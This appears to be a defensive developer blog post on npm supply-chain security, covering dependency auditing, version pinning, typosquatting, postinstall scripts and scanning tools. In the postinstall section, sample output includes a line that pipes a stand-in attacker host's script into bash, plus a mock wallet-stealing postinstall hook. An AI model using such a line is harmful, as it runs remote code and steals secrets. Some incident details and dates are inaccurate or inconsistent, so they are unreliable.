0x55aa
← Back to Blog

NPM Packages Are Trying to Hack You (And You're Letting Them) 🎭🔓

15 min read

NPM Packages Are Trying to Hack You (And You're Letting Them) 🎭🔓

Confession time: I once npm installed a package that stole AWS credentials from our CI/CD pipeline and sent them to a server in Belarus. The package had 2 million weekly downloads. It was in our package.json for THREE MONTHS. 😱

When I was building Node.js APIs at Acodez, I thought package management was simple: "Need a feature? Just npm install it!" Then I learned that every npm install is basically saying "Here stranger, have complete access to my file system, environment variables, and network!"

Coming from Laravel where Packagist packages are (relatively) vetted, NPM's Wild West of dependencies taught me some terrifying lessons. Let me save you from supply chain security nightmares! 🎢

What Even Is NPM Supply Chain Security? 🔗

Supply chain attack = When hackers compromise a dependency instead of attacking you directly.

Think of it like poisoning the water supply instead of breaking into each house:

  • Direct attack: Hack 1 company's server (hard, risky)
  • Supply chain attack: Hack 1 NPM package used by 10,000 companies (easy, massive impact!)

Real examples that shocked the Node.js world:

event-stream (2018): 2M weekly downloads, maintainer handed over to hacker, added Bitcoin wallet stealer ua-parser-js (2021): 9M weekly downloads, hacked, pushed malicious update that installed cryptominers colors.js (2022): 20M weekly downloads, maintainer intentionally sabotaged their own package node-ipc (2022): Popular package that deleted files on Russian/Belarusian IPs (political malware!)

The scary truth: Your node_modules folder has 600+ packages you've never heard of. Any ONE of them can steal secrets, mine crypto, or nuke your files! 💀

The NPM Horror Show: My Personal Disaster 😨

Setting: Production Node.js API at my previous job. Friday afternoon. I'm about to leave early.

The mistake:

# PM: "We need to parse user agents!"
me: "Easy!"

npm install ua-parser-js --save

# Deploys to production
# Weekend arrives
# I'm at the beach 🏖️

Monday morning:

Boss: "Why is our CI/CD bill $8,000 this month?!"
Me: *spits coffee* "WHAT?!"
Security team: "Your build servers are mining cryptocurrency"
Me: *checks GitHub Security alerts*
"[email protected]: CRITICAL - Contains cryptominer malware"

What happened:

  1. Hacker compromised maintainer's NPM account
  2. Published malicious version 0.7.29 with cryptominer
  3. Our CI/CD auto-updated dependencies
  4. Build servers started mining Monero 24/7
  5. AWS bill exploded from CPU usage
  6. I updated my LinkedIn... 😅

The aftermath:

# Emergency fix
npm audit
# 1 critical vulnerability found

npm update ua-parser-js
# Updated to patched version

# Rotated ALL secrets (just in case)
# Changed CI/CD deployment keys
# Added dependency scanning to pipeline
# Added "check before you npm install" to my brain

The lesson: NEVER trust packages blindly. Not even popular ones! 🚫

NPM Security Mistake #1: Not Auditing Dependencies 🔍

The naive approach (also known as "what I used to do"):

# Need a package?
npm install cool-package

# Does it work?
# ✓ Yes? Ship it!
# ✗ No? Find another one!

What I didn't check:

  • How many other dependencies does it pull in?
  • When was it last updated?
  • Who maintains it?
  • Are there known vulnerabilities?
  • Does it have 10 stars and no documentation? (🚩🚩🚩)

The production incident this caused:

# Installed a "simple" date formatting package
npm install date-format-utils

# Check dependencies
npm ls date-format-utils
# [email protected]
#   ├── [email protected] (ok, makes sense)
#   ├── [email protected] (wait, why?)
#   ├── [email protected] (DEPRECATED! Red flag!)
#   └── [email protected] (😱😱😱)

The proper approach - Audit BEFORE installing:

# Method 1: npm audit (built-in)
npm audit

# Method 2: Check package details FIRST
npm info package-name

# Output:
# [email protected]
# Last publish: 3 years ago  🚩 STALE!
# Weekly downloads: 12  🚩 UNPOPULAR!
# Maintainers: 1  🚩 BUS FACTOR!

# Method 3: Use Socket.dev (AMAZING tool!)
npx socket npm info package-name
# Shows: supply chain risk, maintenance, quality, vulnerabilities

# Method 4: Snyk scan
npx snyk test

A pattern I use in production:

# Before installing ANY package:
1. Check npm page: https://www.npmjs.com/package/[name]
2. Check GitHub (stars, issues, last commit)
3. Run: npm info package-name
4. Check dependencies: npm info package-name dependencies
5. Google: "[package-name] security issues"
6. Only THEN: npm install

Coming from Laravel: Packagist has fewer packages, more curation. NPM is the Wild West - 2 MILLION packages, anyone can publish anything! 🤠

NPM Security Mistake #2: Not Pinning Dependencies 📌

The disaster waiting to happen:

// package.json
{
  "dependencies": {
    "express": "^4.18.0",  // ^ = "any 4.x version" 😱
    "axios": "~1.6.0",     // ~ = "any 1.6.x version" 😰
    "lodash": "*"          // * = "LITERALLY ANY VERSION" 💀
  }
}

What this means:

# Monday: npm install
# Installs: [email protected]

# Tuesday: [email protected] published (with malware!)
# Your CI/CD: npm install
# Installs: [email protected] 💀

# Your production: COMPROMISED
# You: "But I didn't change anything?!"

Real example - the colors.js sabotage:

# Friday: [email protected] (works perfectly)
# Weekend: Maintainer goes rogue, publishes 1.4.1
# Monday: npm install
# Result: Infinite loops crash all apps using colors
# Thousands of apps broken worldwide! 🌍💥

The fix - Lock your dependencies:

# Step 1: Use package-lock.json (commit it!)
npm install
git add package-lock.json
git commit -m "Lock dependencies"

# Step 2: Use exact versions in package.json
{
  "dependencies": {
    "express": "4.18.0",  // No ^ or ~, EXACT version!
    "axios": "1.6.0"
  }
}

# Step 3: Use npm ci in production
npm ci  # Installs EXACT versions from package-lock.json
# NOT npm install (which can update!)

In our CI/CD pipeline at Acodez, I switched from npm install to npm ci:

# Bad CI/CD
- run: npm install  # Might install newer (malicious?) versions

# Good CI/CD
- run: npm ci  # Installs exact versions from lock file

Result: Dependencies stopped mysteriously changing between deploys! 🎯

NPM Security Mistake #3: Trusting Typosquatting Packages 🎣

Typosquatting = Malicious packages with names similar to popular ones.

Examples from the wild:

# You want:
npm install express

# But you typo:
npm install expres   # Missing 's' - MALICIOUS PACKAGE!
npm install expresss  # Extra 's' - MALICIOUS PACKAGE!
npm install exprss    # Missing 'e' - MALICIOUS PACKAGE!

Real typosquatting attacks:

  • cross-env (legit) vs crossenv (malware) - Stole environment variables
  • event-stream (legit) vs eventstream (malicious)
  • lodash (legit) vs loadsh (typo + malware)

How I almost got phished:

# Late night coding, tired
npm install loadash  # Meant 'lodash'
# Package installs successfully
# No errors
# Doesn't work quite right... weird?

# Next day, check package.json
"dependencies": {
  "loadash": "1.0.0"  # Wait... 😰
}

# Check npm
npm info loadash
# "This package steals your .env file"
# Me: *sweating* 😅

The fix - Check spelling TWICE:

# Method 1: Copy-paste names from npmjs.com
# DON'T type package names manually!

# Method 2: Use --dry-run first
npm install express --dry-run
# Shows what will be installed WITHOUT installing

# Method 3: Enable typosquatting protection
npx check-npm-package-name package-name

A pattern I now use religiously:

# 1. Google the package name
# 2. Go to official docs/GitHub
# 3. Copy exact name from THEIR documentation
# 4. Paste into npm install
# 5. Verify in package.json after installing

NPM Security Mistake #4: Running Postinstall Scripts Blindly 🏃‍♂️💨

The scariest NPM feature: Postinstall scripts run AUTOMATICALLY after npm install!

What this means:

npm install malicious-package

# Behind the scenes:
# 1. Downloads package
# 2. Runs package.json "postinstall" script
# 3. Script has FULL system access
# 4. Can read files, steal secrets, install backdoors
# 5. You see: "✓ Package installed successfully!"
# 6. You don't see: Your AWS keys uploaded to hackers

Real example - event-stream hack:

// event-stream/package.json (malicious version)
{
  "scripts": {
    "postinstall": "node ./steal-bitcoin-wallets.js"
  }
}

The attack flow:

  1. Developer: npm install event-stream
  2. Postinstall runs: Looks for Bitcoin wallet files
  3. If found: Encrypts and sends to attacker's server
  4. Developer: "Everything works fine! 🎉"
  5. Developer's Bitcoin: Gone! 💸

How to protect yourself:

# Option 1: Disable scripts globally (nuclear option)
npm config set ignore-scripts true

# Problem: Breaks legitimate packages (many need scripts!)

# Option 2: Audit scripts before installing
npm info package-name scripts

# Example:
npm info suspicious-package scripts
# Output:
# {
#   "postinstall": "curl http://evil.com/steal | bash"  🚩🚩🚩
# }

# Option 3: Use --ignore-scripts flag
npm install package-name --ignore-scripts

# Option 4: Review with Socket.dev
npx socket npm install package-name
# Warns: "⚠️  Package has postinstall script that accesses network!"

When building Node.js APIs at Acodez, I got paranoid (in a good way):

# Created a script: safe-install.sh
#!/bin/bash
PACKAGE=$1

echo "🔍 Checking $PACKAGE..."

# Check package info
npm info $PACKAGE scripts

# Check with Socket.dev
npx socket npm info $PACKAGE

# Ask for confirmation
read -p "Install $PACKAGE? (y/n) " -n 1 -r
echo
if [[ $REPLY =~ ^[Yy]$ ]]; then
  npm install $PACKAGE
else
  echo "❌ Installation cancelled"
fi

Use it like:

./safe-install.sh express  # Checks before installing

NPM Security Mistake #5: Not Using Automated Scanning 🤖

The manual approach (doesn't scale):

# Every week:
# 1. Run npm audit
# 2. Read each vulnerability
# 3. Update packages
# 4. Test everything
# 5. Repeat next week
# 6. Burn out

The automated approach (actually sustainable):

Tool 1: GitHub Dependabot (Free!)

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "daily"
    open-pull-requests-limit: 10

What it does:

  • Scans dependencies daily
  • Creates PR for vulnerabilities
  • Includes fix + CVE details
  • You review and merge

Tool 2: Snyk (Free tier available)

# Install
npm install -g snyk

# Authenticate
snyk auth

# Test project
snyk test

# Monitor continuously
snyk monitor

# CI/CD integration
snyk test --severity-threshold=high

Tool 3: Socket.dev (My favorite!)

# Install GitHub app: https://socket.dev
# Automatically comments on PRs:
# "⚠️  This PR adds 'suspicious-package' which:"
# - Accesses network in install scripts
# - Uses eval() (code injection risk)
# - Has 0 stars on GitHub
# - Was published yesterday"

Tool 4: npm audit (Built-in)

# Check vulnerabilities
npm audit

# Auto-fix (careful! Can break things)
npm audit fix

# Only fix safe patches
npm audit fix --only=prod

# See detailed report
npm audit --json

My production security pipeline:

# .github/workflows/security.yml
name: Security Scan
on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3

      - name: Install dependencies
        run: npm ci

      - name: npm audit
        run: npm audit --audit-level=high

      - name: Snyk scan
        run: npx snyk test --severity-threshold=high

      - name: Check for malicious packages
        run: npx socket ci

Result: Vulnerabilities caught BEFORE they reach production! 🛡️

NPM Security Mistake #6: Using Outdated Packages 📅

The problem:

# Your package.json
{
  "dependencies": {
    "express": "3.0.0"  # From 2012! 🦖
  }
}

# CVEs in express 3.0.0: 47 vulnerabilities
# Including: RCE, path traversal, XSS, DoS

How did this happen?

# 2018: npm install express@latest
# [email protected] installed ✅

# 2026: Still using 4.16.0
# Current version: 4.18.2
# Missing: 2 years of security patches! 😱

The "if it ain't broke, don't fix it" fallacy:

Developer: "Our app works fine! Why update?"
Hacker: "Thanks for the unpatched RCE vulnerability!"
Developer: "Oh..." 💀

The proper update strategy:

# Step 1: Check outdated packages
npm outdated

# Output:
# Package    Current  Wanted  Latest
# express    4.16.0   4.18.2  4.18.2  🚩 2 years behind!
# lodash     4.17.19  4.17.21 4.17.21 🚩 Has RCE fix!

# Step 2: Update safely (patch versions only)
npm update  # Updates within semver range

# Step 3: Major version updates (test carefully!)
npm install express@latest
npm test  # Make sure nothing broke!

# Step 4: Check what changed
npm outdated  # Should be clean now! ✅

A pattern I use - Update Fridays:

# Every Friday before leaving:
1. Run: npm outdated
2. Update patch versions: npm update
3. Test: npm test
4. Commit: git commit -m "chore: update dependencies"
5. Deploy Monday (so issues surface early in week)

Automated updates with Dependabot:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
      day: "friday"
    versioning-strategy: "increase"
    open-pull-requests-limit: 5

Coming from Laravel: Composer has composer outdated. NPM has npm outdated. Both are CRITICAL for security! Use them! 🎯

NPM Security Best Practices I Use in Production 🔒

1. Minimal Dependencies

Bad:

// "I install packages for everything!"
{
  "dependencies": {
    "is-even": "^1.0.0",      // 12 lines of code
    "is-odd": "^1.0.0",       // Uses is-even! 🤦
    "left-pad": "^1.0.0",     // 11 lines
    "array-unique": "^1.0.0", // [...new Set(arr)]
    "random-number": "^1.0.0" // Math.random()! 😂
  }
}

Good:

// "Only install what I truly need!"
{
  "dependencies": {
    "express": "^4.18.0",  // Core framework
    "pg": "^8.11.0",       // Database driver
    "joi": "^17.9.0"       // Complex validation
  }
}

The rule: Can you write it in <20 lines? Write it yourself! Don't install a package! 📝

2. Separate Dev Dependencies

{
  "dependencies": {
    // Only runtime dependencies
    "express": "^4.18.0"
  },
  "devDependencies": {
    // Development/build tools
    "jest": "^29.0.0",
    "eslint": "^8.0.0"
  }
}

Production builds:

# Only installs dependencies, not devDependencies
npm ci --production

Why it matters: Fewer packages = smaller attack surface! 🎯

3. Use .npmrc for Security

# .npmrc in project root
# Enforce package-lock.json
package-lock=true

# Audit on install
audit=true
audit-level=moderate

# No optional dependencies (fewer surprises)
optional=false

# Use npm ci in scripts
scripts-prepend-node-path=true

4. Verify Package Integrity

# Check package integrity
npm install --ignore-scripts

# Verify package hash
npm view package-name dist.shasum
# Compare with: shasum -a 1 node_modules/package-name/*.tgz

5. Use Private Registry for Internal Packages

# .npmrc
registry=https://your-private-registry.com
//your-private-registry.com/:_authToken=${NPM_TOKEN}

# Now: npm install @yourcompany/internal-package
# Downloads from YOUR registry, not public NPM!

The NPM Security Checklist ✅

Before deploying to production:

  • Run npm audit (no high/critical vulnerabilities)
  • Pin exact versions in package.json
  • Commit package-lock.json to version control
  • Use npm ci in CI/CD (not npm install)
  • Enable Dependabot or Snyk scanning
  • Review postinstall scripts of new packages
  • Check package popularity/maintenance on npmjs.com
  • Minimize dependencies (remove unused packages)
  • Separate dev vs prod dependencies
  • Set up automated security scanning in CI/CD
  • Update dependencies regularly (weekly!)

Real Talk: Is NPM Security Really That Bad? 🤔

Q: "Should I stop using NPM packages?"

A: NO! But be SELECTIVE. The NPM ecosystem is incredible - but treat every npm install like inviting a stranger into your house. Check their background first! 🏠

Q: "How do I know if a package is safe?"

A: Red flags 🚩:

  • <1000 weekly downloads
  • Last updated >2 years ago
  • No GitHub repo / 0 stars
  • Single maintainer, no org backing
  • Generic name ("utils", "helpers")
  • Suspicious postinstall scripts

Green flags ✅:

  • Millions of downloads
  • Active maintenance (recent commits)
  • Popular org backing (Google, Microsoft, etc.)
  • Good documentation
  • Many contributors
  • TypeScript support

Q: "What about Deno or Bun? Are they safer?"

A: Different trade-offs:

  • Deno: Uses URLs, no package.json, built-in security permissions (more secure!)
  • Bun: Faster npm install, same packages (same risks!)
  • NPM: Largest ecosystem, most mature (most attacked!)

Q: "This seems paranoid..."

A: It IS paranoid! But you know what's more paranoid? Explaining to your boss how AWS keys leaked from your build pipeline! 😅

The Bottom Line 🎯

NPM packages are AMAZING - but every npm install is a security decision!

The essentials:

  1. Audit before installing (npm info, Socket.dev, check GitHub)
  2. Lock your versions (package-lock.json + npm ci)
  3. Scan continuously (npm audit, Dependabot, Snyk)
  4. Minimize dependencies (write simple code yourself!)
  5. Update regularly (patch vulnerabilities quickly)
  6. Review scripts (postinstall = potential backdoor!)

When I was building Node.js APIs at Acodez, I learned: The convenience of npm install comes with responsibility. Coming from Laravel where Packagist is smaller and more curated, NPM's massive ecosystem requires vigilance. One bad dependency can compromise your entire application! 🔒

Think of NPM packages like hiring contractors - you wouldn't hire someone without checking references, right? Same with packages. Vet them first! 🕵️

The Node.js ecosystem is built on trust. But as Ronald Reagan said: "Trust, but verify!" 🎯


Building secure Node.js apps? Connect on LinkedIn - let's share security horror stories!

Want to see secure Node.js architectures? Check my GitHub - every dependency vetted!

P.S. - If you haven't run npm audit in the last week, do it RIGHT NOW. I'll wait. Seriously. 🔍

P.P.S. - That package with 12 weekly downloads and no documentation? Yeah, don't install that. 😅

P.P.P.S. - Next time you're about to npm install random-package, remember: You're giving a stranger root access to your machine. Would you do that IRL? 🤔🔐